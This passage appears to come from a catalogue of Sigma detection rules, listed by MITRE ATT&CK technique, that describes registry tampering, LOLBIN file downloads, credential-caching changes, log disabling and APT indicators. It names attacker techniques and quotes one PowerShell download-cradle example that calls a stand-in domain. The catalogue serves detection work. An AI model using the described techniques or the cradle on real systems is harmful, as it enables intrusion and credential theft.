or scripting binaries and commandlines. Writing Of Malicious Files To The Fonts Folder - Level: medium Description: Monitors for the hiding possible malicious files in the C:\Windows\Fonts\ location. This folder doesn't require admin privillege to be written and executed from. Suspicious Scan Loop Network - Level: medium Description: Adversaries may attempt to get a listing of other systems by IP address, hostname, or other logical identifier on a network that may be used for Lateral Movement from the current system Suspicious Program Names - Level: high Description: Detects suspicious patterns in program names or folders that are often found in malicious samples or hacktools Script Interpreter Execution From Suspicious Folder - Level: high Description: Detects a suspicious script execution in temporary folders or folders accessible by environment variables Suspicious Script Execution From Temp Folder - Level: high Description: Detects a suspicious script executions from temporary folder Sysprep on AppData Folder - Level: medium Description: Detects suspicious sysprep process start with AppData folder as target (as used by Trojan Syndicasec in Thrip report by Symantec) Potential Persistence Via VMwareToolBoxCmd.EXE VM State Change Script - Level: medium Description: Detects execution of the "VMwareToolBoxCmd.exe" with the "script" and "set" flag to setup a specific script to run for a specific VM state Suspicious Persistence Via VMwareToolBoxCmd.EXE VM State Change Script - Level: high Description: Detects execution of the "VMwareToolBoxCmd.exe" with the "script" and "set" flag to setup a specific script that's located in a potentially suspicious location to run for a specific VM state VMToolsd Suspicious Child Process - Level: high Description: Detects suspicious child process creations of VMware Tools process which may indicate persistence setup Add New Download Source To Winget - Level: medium Description: Detects usage of winget to add new additional download sources Add Insecure Download Source To Winget - Level: high Description: Detects usage of winget to add a new insecure (http) download source. Winget will not allow the addition of insecure sources, hence this could indicate potential suspicious activity (or typos) Add Potential Suspicious New Download Source To Winget - Level: medium Description: Detects usage of winget to add new potentially suspicious download sources Install New Package Via Winget Local Manifest - Level: medium Description: Detects usage of winget to install applications via manifest file. Adversaries can abuse winget to download payloads remotely and execute them. The manifest option enables you to install an application by passing in a YAML file directly to the client. Winget can be used to download and install exe, msi or msix files later. Turla Group Lateral Movement - Level: critical Description: Detects automated lateral movement by Turla group Lazarus Group Activity - Level: critical Description: Detects different process execution behaviors as described in various threat reports on Lazarus group activity Potential Atlassian Confluence CVE-2021-26084 Exploitation Attempt - Level: high Description: Detects spawning of suspicious child processes by Atlassian Confluence server which may indicate successful exploitation of CVE-2021-26084 Potential CVE-2021-40444 Exploitation Attempt - Level: high Description: Detects potential exploitation of CVE-2021-40444 via suspicious process patterns seen in in-the-wild exploitations REvil Kaseya Incident Malware Patterns - Level: critical Description: Detects process command line patterns and locations used by REvil group in Kaseya incident (can also match on other malware) CVE-2023-22518 Exploitation Attempt - Suspicious Confluence Child Process (Linux) - Level: high Description: Detects exploitation attempt of CVE-2023-22518 (Confluence Data Center / Confluence Server), where an attacker can exploit vulnerable endpoints to e.g. create admin accounts and execute arbitrary commands. CVE-2023-22518 Exploitation Attempt - Suspicious Confluence Child Process (Windows) - Level: medium Description: Detects exploitation attempt of CVE-2023-22518 (Confluence Data Center / Confluence Server), where an attacker can exploit vulnerable endpoints to e.g. create admin accounts and execute arbitrary commands. Potential MOVEit Transfer CVE-2023-34362 Exploitation - Dynamic Compilation Via Csc.EXE - Level: medium Description: Detects the execution of "csc.exe" via "w3wp.exe" process. MOVEit affected hosts execute "csc.exe" via the "w3wp.exe" process to dynamically compile malicious DLL files. MOVEit is affected by a critical vulnerability. Exploited hosts show evidence of dynamically compiling a DLL and writing it under C:\\Windows\\Microsoft\.NET\\Framework64\\v4\.0\.30319\\Temporary ASP\.NET Files\\root\\([a-z0-9]{5,12})\\([a-z0-9]{5,12})\\App_Web_[a-z0-9]{5,12}\.dll. Hunting Opportunity Events from IIS dynamically compiling binaries via the csc.exe on behalf of the MOVEit application, especially since May 27th should be investigated. DarkGate - Autoit3.EXE File Creation By Uncommon Process - Level: medium Description: Detects the usage of curl.exe, KeyScramblerLogon, or other non-standard/suspicious processes used to create Autoit3.exe. This activity has been associated with DarkGate malware, which uses Autoit3.exe to execute shellcode that performs process injection and connects to the DarkGate command-and-control server. Curl, KeyScramblerLogon, and these other processes consitute non-standard and suspicious ways to retrieve the Autoit3 executable. DarkGate - Autoit3.EXE Execution Parameters - Level: high Description: Detects execution of the legitimate Autoit3 utility from a suspicious parent process. AutoIt3.exe is used within the DarkGate infection chain to execute shellcode that performs process injection and connects to the DarkGate command-and-control server. Ursnif Redirection Of Discovery Commands - Level: high Description: Detects the redirection of Ursnif discovery commands as part of the initial execution of the malware. DarkGate - Drop DarkGate Loader In C:\Temp Directory - Level: medium Description: Detects attackers attempting to save, decrypt and execute the DarkGate Loader in C:\temp folder. Potential KamiKakaBot Activity - Lure Document Execution - Level: medium Description: Detects the execution of a Word document via the WinWord Start Menu shortcut. This behavior was observed being used by KamiKakaBot samples in order to initiate the 2nd stage of the infection. DNS Request From Windows Script Host - Level: low Description: Detects unusual domain resolutions originating from CScript/WScript that can identify malicious javascript files executing in an environment, often as a result from a phishing or watering hole attack. Elevated System Shell Spawned - Level: medium Description: Detects when a shell program such as the Windows command prompt or PowerShell is launched with system privileges. Use this rule to hunt for potential suspicious processes. Manual Execution of Script Inside of a Compressed File - Level: medium Description: This is a threat-hunting query to collect information related to the interactive execution of a script from inside a compressed file (zip/rar). Windows will automatically run the script using scripting interpreters such as wscript and cscript binaries. From the query below, the child process is the script interpreter that will execute the script. The script extension is also a set of standard extensions that Windows OS recognizes. Selections 1-3 contain three different execution scenarios. 1. Compressed file opened using 7zip. 2. Compressed file opened using WinRar. 3. Compressed file opened using native windows File Explorer capabilities. When the malicious script is double-clicked, it will be extracted to the respected directories as signified by the CommandLine on each of the three Selections. It will then be executed using the relevant script interpreter." Automated Turla Group Lateral Movement - Level: medium Description: Detects automated lateral movement by Turla group Quick Execution of a Series of Suspicious Commands - Level: low Description: Detects multiple suspicious process in a limited timeframe
attack.t1112	87	Show Rules (87) Abusing Windows Telemetry For Persistence - Registry - Level: high Description: Windows telemetry makes use of the binary CompatTelRunner.exe to run a variety of commands and perform the actual telemetry collections. This binary was created to be easily extensible, and to that end, it relies on the registry to instruct on which commands to run. The problem is, it will run any arbitrary command without restriction of location or type. Service Binary in Uncommon Folder - Level: medium Description: Detect the creation of a service with a service binary located in a uncommon directory Office Security Settings Changed - Level: high Description: Detects registry changes to Office macro settings. The TrustRecords contain information on executed macro-enabled documents. (see references) Remote Registry Lateral Movement - Level: high Description: Detects remote RPC calls to modify the registry and possible execute code ETW Logging Disabled In .NET Processes - Registry - Level: high Description: Potential adversaries stopping ETW providers recording loaded .NET assemblies. NetNTLM Downgrade Attack - Level: high Description: Detects NetNTLM downgrade attack Sysmon Channel Reference Deletion - Level: high Description: Potential threat actor tampering with Sysmon manifest and eventually disabling it New DNS ServerLevelPluginDll Installed Via Dnscmd.EXE - Level: high Description: Detects the installation of a DNS plugin DLL via ServerLevelPluginDll parameter in registry, which can be used to execute code in context of the DNS server (restart required) Imports Registry Key From a File - Level: medium Description: Detects the import of the specified file to the registry with regedit.exe. Imports Registry Key From an ADS - Level: high Description: Detects the import of a alternate datastream to the registry with regedit.exe. Suspicious Registry Modification From ADS Via Regini.EXE - Level: high Description: Detects the import of an alternate data stream with regini.exe, regini.exe can be used to modify registry keys. Registry Modification Via Regini.EXE - Level: low Description: Detects the execution of regini.exe which can be used to modify registry keys, the changes are imported from one or more text files. Potentially Suspicious Desktop Background Change Using Reg.EXE - Level: medium Description: Detects the execution of "reg.exe" to alter registry keys that would replace the user's desktop background. This is a common technique used by malware to change the desktop background to a ransom note or other image. Potential Suspicious Registry File Imported Via Reg.EXE - Level: medium Description: Detects the import of '.reg' files from suspicious paths using the 'reg.exe' utility Enable LM Hash Storage - ProcCreation - Level: high Description: Detects changes to the "NoLMHash" registry value in order to allow Windows to store LM Hashes. By setting this registry value to "0" (DWORD), Windows will be allowed to store a LAN manager hash of your password in Active Directory and local SAM databases. RestrictedAdminMode Registry Value Tampering - ProcCreation - Level: high Description: Detects changes to the "DisableRestrictedAdmin" registry value in order to disable or enable RestrictedAdmin mode. RestrictedAdmin mode prevents the transmission of reusable credentials to the remote system to which you connect using Remote Desktop. This prevents your credentials from being harvested during the initial connection process if the remote server has been compromise Potential Tampering With RDP Related Registry Keys Via Reg.EXE - Level: high Description: Detects the execution of "reg.exe" for enabling/disabling the RDP service on the host by tampering with the 'CurrentControlSet\Control\Terminal Server' values Reg Add Suspicious Paths - Level: high Description: Detects when an adversary uses the reg.exe utility to add or modify new keys or subkeys ShimCache Flush - Level: high Description: Detects actions that clear the local ShimCache and remove forensic evidence Run Once Task Execution as Configured in Registry - Level: low Description: This rule detects the execution of Run Once task as configured in the registry Non-privileged Usage of Reg or Powershell - Level: high Description: Search for usage of reg or Powershell by non-privileged users to modify service configuration in registry Suspicious VBoxDrvInst.exe Parameters - Level: medium Description: Detect VBoxDrvInst.exe run with parameters allowing processing INF file. This allows to create values in the registry and install drivers. For example one could use this technique to obtain persistence via modifying one of Run or RunOnce registry keys Potential NetWire RAT Activity - Registry - Level: high Description: Detects registry keys related to NetWire RAT Terminal Server Client Connection History Cleared - Registry - Level: high Description: Detects the deletion of registry keys containing the MSTSC connection history Removal of Potential COM Hijacking Registry Keys - Level: medium Description: Detects any deletion of entries in ".*\shell\open\command" registry keys. These registry keys might have been used for COM hijacking activities by a threat actor or an attacker and the deletion could indicate steps to remove its tracks. Disable Security Events Logging Adding Reg Key MiniNt - Level: high Description: Detects the addition of a key 'MiniNt' to the registry. Upon a reboot, Windows Event Log service will stopped write events. Wdigest CredGuard Registry Modification - Level: high Description: Detects potential malicious modification of the property value of IsCredGuardEnabled from HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest to disable Cred Guard on a system. This is usually used with UseLogonCredential to manipulate the caching credentials. Registry Entries For Azorult Malware - Level: critical Description: Detects the presence of a registry key created during Azorult execution Potential Qakbot Registry Activity - Level: high Description: Detects a registry key used by IceID in a campaign that distributes malicious OneNote files NetNTLM Downgrade Attack - Registry - Level: high Description: Detects NetNTLM downgrade attack RedMimicry Winnti Playbook Registry Manipulation - Level: high Description: Detects actions caused by the RedMimicry Winnti playbook Run Once Task Configuration in Registry - Level: medium Description: Rule to detect the configuration of Run Once registry key. Configured payload can be run by runonce.exe /AlternateShellStartup Allow RDP Remote Assistance Feature - Level: medium Description: Detect enable rdp feature to allow specific user to rdp connect on the targeted machine New BgInfo.EXE Custom DB Path Registry Configuration - Level: medium Description: Detects setting of a new registry database value related to BgInfo configuration. Attackers can for example set this value to save the results of the commands executed by BgInfo in order to exfiltrate information. New BgInfo.EXE Custom WMI Query Registry Configuration - Level: medium Description: Detects setting of a new registry value related to BgInfo configuration, which can be abused to execute custom WMI query via "BgInfo.exe" New BgInfo.EXE Custom VBScript Registry Configuration - Level: medium Description: Detects setting of a new registry value related to BgInfo configuration, which can be abused to execute custom VBScript via "BgInfo.exe" Blackbyte Ransomware Registry - Level: high Description: BlackByte set three different registry values to escalate privileges and begin setting the stage for lateral movement and encryption ClickOnce Trust Prompt Tampering - Level: medium Description: Detects changes to the ClickOnce trust prompt registry key in order to enable an installation from different locations such as the Internet. CrashControl CrashDump Disabled - Level: medium Description: Detects disabling the CrashDump per registry (as used by HermeticWiper) Service Binary in Suspicious Folder - Level: high Description: Detect the creation of a service with a service binary located in a suspicious directory Potentially Suspicious Desktop Background Change Via Registry - Level: medium Description: Detects registry value settings that would replace the user's desktop background. This is a common technique used by malware to change the desktop background to a ransom note or other image. DHCP Callout DLL Installation - Level: high Description: Detects the installation of a Callout DLL via CalloutDlls and CalloutEnabled parameter in Registry, which can be used to execute code in context of the DHCP server (restart required) Disable Internal Tools or Feature in Registry - Level: medium Description: Detects registry modifications that change features of internal Windows tools (malware like Agent Tesla uses this technique) Disable Windows Security Center Notifications - Level: medium Description: Detect set UseActionCenterExperience to 0 to disable the Windows security center notification Add DisallowRun Execution to Registry - Level: medium Description: Detect set DisallowRun to 1 to prevent user running specific computer program DNS-over-HTTPS Enabled by Registry - Level: medium Description: Detects when a user enables DNS-over-HTTPS. This can be used to hide internet activity or be used to hide the process of exfiltrating data. With this enabled organization will lose visibility into data such as query type, response and originating IP that are used to determine bad actors. New DNS ServerLevelPluginDll Installed - Level: high Description: Detects the installation of a DNS plugin DLL via ServerLevelPluginDll parameter in registry, which can be used to execute code in context of the DNS server (restart required) ETW Logging Disabled In .NET Processes - Sysmon Registry - Level: high Description: Potential adversaries stopping ETW providers recording loaded .NET assemblies. Change User Account Associated with the FAX Service - Level: high Description: Detect change of the user account associated with the FAX service to avoid the escalation problem. Change the Fax Dll - Level: high Description: Detect possible persistence using Fax DLL load when service restart Registry Hide Function from User - Level: medium Description: Detects registry modifications that hide internal tools or functions from the user (malware like Agent Tesla, Hermetic Wiper uses this technique) RestrictedAdminMode Registry Value Tampering - Level: high Description: Detects changes to the "DisableRestrictedAdmin" registry value in order to disable or enable RestrictedAdmin mode. RestrictedAdmin mode prevents the transmission of reusable credentials to the remote system to which you connect using Remote Desktop. This prevents your credentials from being harvested during the initial connection process if the remote server has been compromise Blue Mockingbird - Registry - Level: high Description: Attempts to detect system changes made by Blue Mockingbird NET NGenAssemblyUsageLog Registry Key Tamper - Level: high Description: Detects changes to the NGenAssemblyUsageLog registry key. .NET Usage Log output location can be controlled by setting the NGenAssemblyUsageLog CLR configuration knob in the Registry or by configuring an environment variable (as described in the next section). By simplify specifying an arbitrary value (e.g. fake output location or junk data) for the expected value, a Usage Log file for the .NET execution context will not be created. Trust Access Disable For VBApplications - Level: high Description: Detects registry changes to Microsoft Office "AccessVBOM" to a value of "1" which disables trust access for VBA on the victim machine and lets attackers execute malicious macros without any Microsoft Office warnings. Outlook EnableUnsafeClientMailRules Setting Enabled - Registry - Level: high Description: Detects an attacker trying to enable the outlook security setting "EnableUnsafeClientMailRules" which allows outlook to run applications or execute macros Uncommon Microsoft Office Trusted Location Added - Level: high Description: Detects changes to registry keys related to "Trusted Location" of Microsoft Office where the path is set to something uncommon. Attackers might add additional trusted locations to avoid macro security restrictions. Macro Enabled In A Potentially Suspicious Document - Level: high Description: Detects registry changes to Office trust records where the path is located in a potentially suspicious location Office Macros Warning Disabled - Level: high Description: Detects registry changes to Microsoft Office "VBAWarning" to a value of "1" which enables the execution of all macros, whether signed or unsigned. Potential Persistence Via Custom Protocol Handler - Level: medium Description: Detects potential persistence activity via the registering of a new custom protocole handlers. While legitimate applications register protocole handlers often times during installation. And attacker can abuse this by setting a custom handler to be used as a persistence mechanism. Potential Persistence Via Event Viewer Events.asp - Level: medium Description: Detects potential registry persistence technique using the Event Viewer "Events.asp" technique Modification of IE Registry Settings - Level: low Description: Detects modification of the registry settings used for Internet Explorer and other Windows components that use these settings. An attacker can abuse this registry key to add a domain to the trusted sites Zone or insert javascript for persistence Potential Persistence Via Outlook Today Page - Level: high Description: Detects potential persistence activity via outlook today page. An attacker can set a custom page to execute arbitrary code and link to it via the registry values "URL" and "UserDefinedUrl". Potential Persistence Via Outlook Home Page - Level: high Description: Detects potential persistence activity via outlook home page. An attacker can set a home page to achieve code execution and persistence by editing the WebView registry keys. ETW Logging Disabled For rpcrt4.dll - Level: low Description: Detects changes to the "ExtErrorInformation" key in order to disable ETW logging for rpcrt4.dll ETW Logging Disabled For SCM - Level: low Description: Detects changes to the "TracingDisabled" key in order to disable ETW logging for services.exe (SCM) Registry Explorer Policy Modification - Level: medium Description: Detects registry modifications that disable internal tools or functions in explorer (malware like Agent Tesla uses this technique) Activate Suppression of Windows Security Center Notifications - Level: medium Description: Detect set Notification_Suppress to 1 to disable the Windows security center notification Enable LM Hash Storage - Level: high Description: Detects changes to the "NoLMHash" registry value in order to allow Windows to store LM Hashes. By setting this registry value to "0" (DWORD), Windows will be allowed to store a LAN manager hash of your password in Active Directory and local SAM databases. RDP Sensitive Settings Changed to Zero - Level: medium Description: Detects tampering of RDP Terminal Service/Server sensitive settings. Such as allowing unauthorized users access to a system via the 'fAllowUnsolicited' or enabling RDP via 'fDenyTSConnections', etc. RDP Sensitive Settings Changed - Level: high Description: Detects tampering of RDP Terminal Service/Server sensitive settings. Such as allowing unauthorized users access to a system via the 'fAllowUnsolicited' or enabling RDP via 'fDenyTSConnections'...etc Wdigest Enable UseLogonCredential - Level: high Description: Detects potential malicious modification of the property value of UseLogonCredential from HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest to enable clear-text credentials Winlogon AllowMultipleTSSessions Enable - Level: medium Description: Detects when the 'AllowMultipleTSSessions' value is enabled. Which allows for multiple Remote Desktop connection sessions to be opened at once. This is often used by attacker as a way to connect to an RDP session without disconnecting the other users OceanLotus Registry Activity - Level: critical Description: Detects registry keys created in OceanLotus (also known as APT32) attacks OilRig APT Activity - Level: critical Description: Detects OilRig activity as reported by Nyotron in their March 2018 report OilRig APT Registry Persistence - Level: critical Description: Detects OilRig registry persistence as reported by Nyotron in their March 2018 report OilRig APT Schedule Task Persistence - Security - Level: critical Description: Detects OilRig schedule task persistence as reported by Nyotron in their March 2018 report OilRig APT Schedule Task Persistence - System - Level: critical Description: Detects OilRig schedule task persistence as reported by Nyotron in their March 2018 report Potential Ursnif Malware Activity - Registry - Level: high Description: Detects registry keys related to Ursnif malware. CVE-2020-1048 Exploitation Attempt - Suspicious New Printer Ports - Registry - Level: high Description: Detects changes to the "Ports" registry key with data that includes a Windows path or a file with a suspicious extension. This could be an attempt to exploit CVE-2020-1048 - a Windows Print Spooler elevation of privilege vulnerability. Blue Mockingbird - Level: high Description: Attempts to detect system changes made by Blue Mockingbird FlowCloud Registry Markers - Level: critical Description: Detects FlowCloud malware registry markers from threat group TA410. The malware stores its configuration in the registry alongside drivers utilized by the malware's keylogger components. Potential Raspberry Robin Registry Set Internet Settings ZoneMap - Level: low Description: Detects registry modifications related to the proxy configuration of the system, potentially associated with the Raspberry Robin malware, as seen in campaigns running in Q1 2024. Raspberry Robin may alter proxy settings to circumvent security measures, ensuring unhindered connection with Command and Control servers for maintaining control over compromised systems if there are any proxy settings that are blocking connections. Remote Registry Management Using Reg Utility - Level: medium Description: Remote registry management using REG utility from non-admin workstation Access To .Reg/.Hive Files By Uncommon Applications - Level: low Description: Detects file access requests to files ending with either the ".hive"/".reg" extension, usually associated with Windows Registry backups. Microsoft Office Trusted Location Updated - Level: medium Description: Detects changes to the registry keys related to "Trusted Location" of Microsoft Office. Attackers might add additional trusted locations to avoid macro security restrictions. Service Binary in User Controlled Folder - Level: medium Description: Detects the setting of the "ImagePath" value of a service registry key to a path controlled by a non-administrator user such as "\AppData\" or "\ProgramData\". Attackers often use such directories for staging purposes. This rule might also trigger on badly written software, where if an attacker controls an auto starting service, they might achieve persistence or privilege escalation. Note that while ProgramData is a user controlled folder, software might apply strict ACLs which makes them only accessible to admin users. Remove such folders via filters if you experience a lot of noise.
attack.t1105	70	Show Rules (70) Microsoft Binary Github Communication - Level: high Description: Detects an executable in the Windows folder accessing github.com Suspicious Certutil Command Usage - Level: high Description: Detects a suspicious Microsoft certutil execution with sub commands like 'decode' sub command, which is sometimes used to decode malicious code Abusing Findstr for Defense Evasion - Level: medium Description: Attackers can use findstr to hide their artifacts or search specific strings and evade defense mechanism Suspicious File Download Using Office Application - Level: high Description: Detects the usage of one of three Microsoft office applications (Word, Excel, PowerPoint) to download arbitrary files Nslookup PwSh Download Cradle - Level: medium Description: This rule tries to detect powershell download cradles, e.g. powershell . (nslookup -q=txt http://some.owned.domain.com)[-1] Windows Update Client LOLBIN - Level: high Description: Detects code execution via the Windows Update client (wuauclt) Remote File Copy - Level: low Description: Detects the use of tools that copy files from or to remote systems Wget Creating Files in Tmp Directory - Level: medium Description: Detects the use of wget to download content in a temporary directory such as "/tmp" or "/var/tmp" Curl Usage on Linux - Level: low Description: Detects a curl process start on linux, which indicates a file download from a remote location or a simple web request to a remote server Suspicious Curl File Upload - Linux - Level: medium Description: Detects a suspicious curl process start the adds a file to a web request Download File To Potentially Suspicious Directory Via Wget - Level: medium Description: Detects the use of wget to download content to a suspicious directory Hidden Flag Set On File/Directory Via Chflags - MacOS - Level: medium Description: Detects the execution of the "chflags" utility with the "hidden" flag, in order to hide files on MacOS. When a file or directory has this hidden flag set, it becomes invisible to the default file listing commands and in graphical file browsers. File Download Via Nscurl - MacOS - Level: medium Description: Detects the execution of the nscurl utility in order to download files. Potential In-Memory Download And Compile Of Payloads - Level: medium Description: Detects potential in-memory downloading and compiling of applets using curl and osacompile as seen used by XCSSET malware Cisco Stage Data - Level: low Description: Various protocols maybe used to put data on the device for exfil or infil Executable from Webdav - Level: medium Description: Detects executable access via webdav6. Can be seen in APT 29 such as from the emulated APT 29 hackathon https://github.com/OTRF/detection-hackathon-apt29/ Download from Suspicious Dyndns Hosts - Level: medium Description: Detects download of certain file types from hosts with dynamic DNS names (selected list) Password Protected ZIP File Opened (Suspicious Filenames) - Level: high Description: Detects the extraction of password protected ZIP archives with suspicious file names. See the filename variable for more details on which file has been opened. AppX Package Installation Attempts Via AppInstaller.EXE - Level: medium Description: Detects DNS queries made by "AppInstaller.EXE". The AppInstaller is the default handler for the "ms-appinstaller" URI. It attempts to load/install a package from the referenced URL Suspicious Desktopimgdownldr Target File - Level: high Description: Detects a suspicious Microsoft desktopimgdownldr file creation that stores a file to a suspicious location or contains a file with a suspicious extension Uncommon Network Connection Initiated By Certutil.EXE - Level: high Description: Detects a network connection initiated by the certutil.exe utility. Attackers can abuse the utility in order to download malware or additional payloads. Suspicious Dropbox API Usage - Level: high Description: Detects an executable that isn't dropbox but communicates with the Dropbox API Network Connection Initiated By IMEWDBLD.EXE - Level: high Description: Detects a network connection initiated by IMEWDBLD.EXE. This might indicate potential abuse of the utility as a LOLBIN in order to download arbitrary files or additional payloads. Network Connection Initiated From Process Located In Potentially Suspicious Or Uncommon Location - Level: high Description: Detects a network connection initiated by programs or processes running from suspicious or uncommon files system locations. Network Communication Initiated To File Sharing Domains From Process Located In Suspicious Folder - Level: high Description: Detects executables located in potentially suspicious directories initiating network connections towards file sharing domains. Outbound Network Connection Initiated By Script Interpreter - Level: high Description: Detects a script interpreter wscript/cscript opening a network connection to a non-local network. Adversaries may use script to download malicious payloads. Local Network Connection Initiated By Script Interpreter - Level: medium Description: Detects a script interpreter (Wscript/Cscript) initiating a local network connection to download or execute a script hosted on a shared folder. Potential COM Objects Download Cradles Usage - PS Script - Level: medium Description: Detects usage of COM objects that can be abused to download files in PowerShell by CLSID Browser Execution In Headless Mode - Level: medium Description: Detects execution of Chromium based browser in headless mode File Download with Headless Browser - Level: high Description: Detects execution of chromium based browser in headless mode using the "dump-dom" command line to download files File Download From Browser Process Via Inline URL - Level: medium Description: Detects execution of a browser process with a URL argument pointing to a file with a potentially interesting extension. This can be abused to download arbitrary files or to hide from the user for example by launching the browser in a minimized state. File Download via CertOC.EXE - Level: medium Description: Detects when a user downloads a file by using CertOC.exe File Download From IP Based URL Via CertOC.EXE - Level: high Description: Detects when a user downloads a file from an IP based URL using CertOC.exe Curl Download And Execute Combination - Level: high Description: Adversaries can use curl to download payloads remotely and execute them. Curl is included by default in Windows 10 build 17063 and later. Command Line Execution with Suspicious URL and AppData Strings - Level: medium Description: Detects a suspicious command line execution that includes an URL and AppData string in the command line parameters as used by several droppers (js/vbs > powershell) Potential Download/Upload Activity Using Type Command - Level: medium Description: Detects usage of the "type" command to download/upload data from WebDAV server Suspicious Curl.EXE Download - Level: high Description: Detects a suspicious curl process start on Windows and outputs the requested document to a local file Remote File Download Via Desktopimgdownldr Utility - Level: medium Description: Detects the desktopimgdownldr utility being used to download a remote file. An adversary may use desktopimgdownldr to download arbitrary files as an alternative to certutil. Suspicious Desktopimgdownldr Command - Level: high Description: Detects a suspicious Microsoft desktopimgdownldr execution with parameters used to download files from the Internet Remote File Download Via Findstr.EXE - Level: medium Description: Detects execution of "findstr" with specific flags and a remote share path. This specific set of CLI flags would allow "findstr" to download the content of the file located on the remote share as described in the LOLBAS entry. Insensitive Subfolder Search Via Findstr.EXE - Level: low Description: Detects execution of findstr with the "s" and "i" flags for a "subfolder" and "insensitive" search respectively. Attackers sometimes leverage this built-in utility to search the system for interesting files or filter through results of commands. Finger.EXE Execution - Level: high Description: Detects execution of the "finger.exe" utility. Finger.EXE or "TCPIP Finger Command" is an old utility that is still present on modern Windows installation. It Displays information about users on a specified remote computer (typically a UNIX computer) that is running the finger service or daemon. Due to the old nature of this utility and the rareness of machines having the finger service. Any execution of "finger.exe" can be considered "suspicious" and worth investigating. Arbitrary File Download Via GfxDownloadWrapper.EXE - Level: medium Description: Detects execution of GfxDownloadWrapper.exe with a URL as an argument to download file. File Download Using Notepad++ GUP Utility - Level: high Description: Detects execution of the Notepad++ updater (gup) from a process other than Notepad++ to download files. File Download And Execution Via IEExec.EXE - Level: high Description: Detects execution of the IEExec utility to download and execute files Import LDAP Data Interchange Format File Via Ldifde.EXE - Level: medium Description: Detects the execution of "Ldifde.exe" with the import flag "-i". The can be abused to include HTTP-based arguments which will allow the arbitrary download of files from a remote server. Suspicious Diantz Download and Compress Into a CAB File - Level: medium Description: Download and compress a remote file and store it in a cab file on local machine. Suspicious Extrac32 Execution - Level: medium Description: Download or Copy file with Extrac32 PrintBrm ZIP Creation of Extraction - Level: high Description: Detects the execution of the LOLBIN PrintBrm.exe, which can be used to create or extract ZIP files. PrintBrm.exe should not be run on a normal workstation. Replace.exe Usage - Level: medium Description: Detects the use of Replace.exe which can be used to replace file with another file Suspicious Certreq Command to Download - Level: high Description: Detects a suspicious certreq execution taken from the LOLBAS examples, which can be abused to download (small) files File Download Via Windows Defender MpCmpRun.EXE - Level: high Description: Detects the use of Windows Defender MpCmdRun.EXE to download files MsiExec Web Install - Level: medium Description: Detects suspicious msiexec process starts with web addresses as parameter Potential COM Objects Download Cradles Usage - Process Creation - Level: medium Description: Detects usage of COM objects that can be abused to download files in PowerShell by CLSID PowerShell Web Download - Level: medium Description: Detects suspicious ways to download files or content using PowerShell Potential DLL File Download Via PowerShell Invoke-WebRequest - Level: medium Description: Detects potential DLL files being downloaded using the PowerShell Invoke-WebRequest cmdlet Suspicious Invoke-WebRequest Execution With DirectIP - Level: medium Description: Detects calls to PowerShell with Invoke-WebRequest cmdlet using direct IP access Suspicious Invoke-WebRequest Execution - Level: high Description: Detects a suspicious call to Invoke-WebRequest cmdlet where the and output is located in a suspicious location PowerShell DownloadFile - Level: high Description: Detects the execution of powershell, a WebClient object creation and the invocation of DownloadFile in a single command line PUA - Nimgrab Execution - Level: high Description: Detects the usage of nimgrab, a tool bundled with the Nim programming framework and used for downloading files. Suspicious Download from Office Domain - Level: high Description: Detects suspicious ways to download files from Microsoft domains that are used to store attachments in Emails or OneNote documents Pandemic Registry Key - Level: critical Description: Detects Pandemic Windows Implant Lolbas OneDriveStandaloneUpdater.exe Proxy Download - Level: high Description: Detects setting a custom URL for OneDriveStandaloneUpdater.exe to download a file from the Internet without executing any anomalous executables with suspicious arguments. The downloaded file will be in C:\Users\redacted\AppData\Local\Microsoft\OneDrive\StandaloneUpdaterreSignInSettingsConfig.json Greenbug Espionage Group Indicators - Level: critical Description: Detects tools and process executions used by Greenbug in their May 2020 campaign as reported by Symantec DarkGate - Autoit3.EXE File Creation By Uncommon Process - Level: medium Description: Detects the usage of curl.exe, KeyScramblerLogon, or other non-standard/suspicious processes used to create Autoit3.exe. This activity has been associated with DarkGate malware, which uses Autoit3.exe to execute shellcode that performs process injection and connects to the DarkGate command-and-control server. Curl, KeyScramblerLogon, and these other processes consitute non-standard and suspicious ways to retrieve the Autoit3 executable. Potential Pikabot Infection - Suspicious Command Combinations Via Cmd.EXE - Level: medium Description: Detects the execution of concatenated commands via "cmd.exe". Pikabot often executes a combination of multiple commands via the command handler "cmd /c" in order to download and execute additional payloads. Commands such as "curl", "wget" in order to download extra payloads. "ping" and "timeout" are abused to introduce delays in the command execution and "Rundll32" is also used to execute malicious DLL files. In the observed Pikabot infections, a combination of the commands described above are used to orchestrate the download and execution of malicious DLL files. Network Connection Initiated From Users\Public Folder - Level: medium Description: Detects a network connection initiated from a process located in the "C:\Users\Public" folder. Attacker are known to drop their malicious payloads and malware in this directory as its writable by everyone. Use this rule to hunt for potential suspicious or uncommon activity in your environement. File Download Via Curl.EXE - Level: medium Description: Detects file download using curl.exe Curl.EXE Execution - Level: low Description: Detects a curl process start on Windows, which could indicates a file download from a remote location or a simple web request to a remote server Potential Data Exfiltration Via Curl.EXE - Level: medium Description: Detects the execution of the "curl" process with "upload" flags. Which might indicate potential data exfiltration
attack.t1078	63	Show Rules (63) Kubernetes Admission Controller Modification - Level: medium Description: Detects when a modification (create, update or replace) action is taken that affects mutating or validating webhook configurations, as they can be used by an adversary to achieve persistence or exfiltrate access credentials. OpenCanary - SSH Login Attempt - Level: high Description: Detects instances where an SSH service on an OpenCanary node has had a login attempt. OpenCanary - SSH New Connection Attempt - Level: high Description: Detects instances where an SSH service on an OpenCanary node has had a connection attempt. OpenCanary - Telnet Login Attempt - Level: high Description: Detects instances where a Telnet service on an OpenCanary node has had a login attempt. Malicious Usage Of IMDS Credentials Outside Of AWS Infrastructure - Level: high Description: Detects when an instance identity has taken an action that isn't inside SSM. This can indicate that a compromised EC2 instance is being used as a pivot point. AWS Key Pair Import Activity - Level: medium Description: Detects the import of SSH key pairs into AWS EC2, which may indicate an attacker attempting to gain unauthorized access to instances. This activity could lead to initial access, persistence, or privilege escalation, potentially compromising sensitive data and operations. AWS Suspicious SAML Activity - Level: medium Description: Identifies when suspicious SAML activity has occurred in AWS. An adversary could gain backdoor access via SAML. User Added to an Administrator's Azure AD Role - Level: medium Description: User Added to an Administrator's Azure AD Role Azure Kubernetes Admission Controller - Level: medium Description: Identifies when an admission controller is executed in Azure Kubernetes. A Kubernetes Admission controller intercepts, and possibly modifies, requests to the Kubernetes API server. The behavior of this admission controller is determined by an admission webhook (MutatingAdmissionWebhook or ValidatingAdmissionWebhook) that the user deploys in the cluster. An adversary can use such webhooks as the 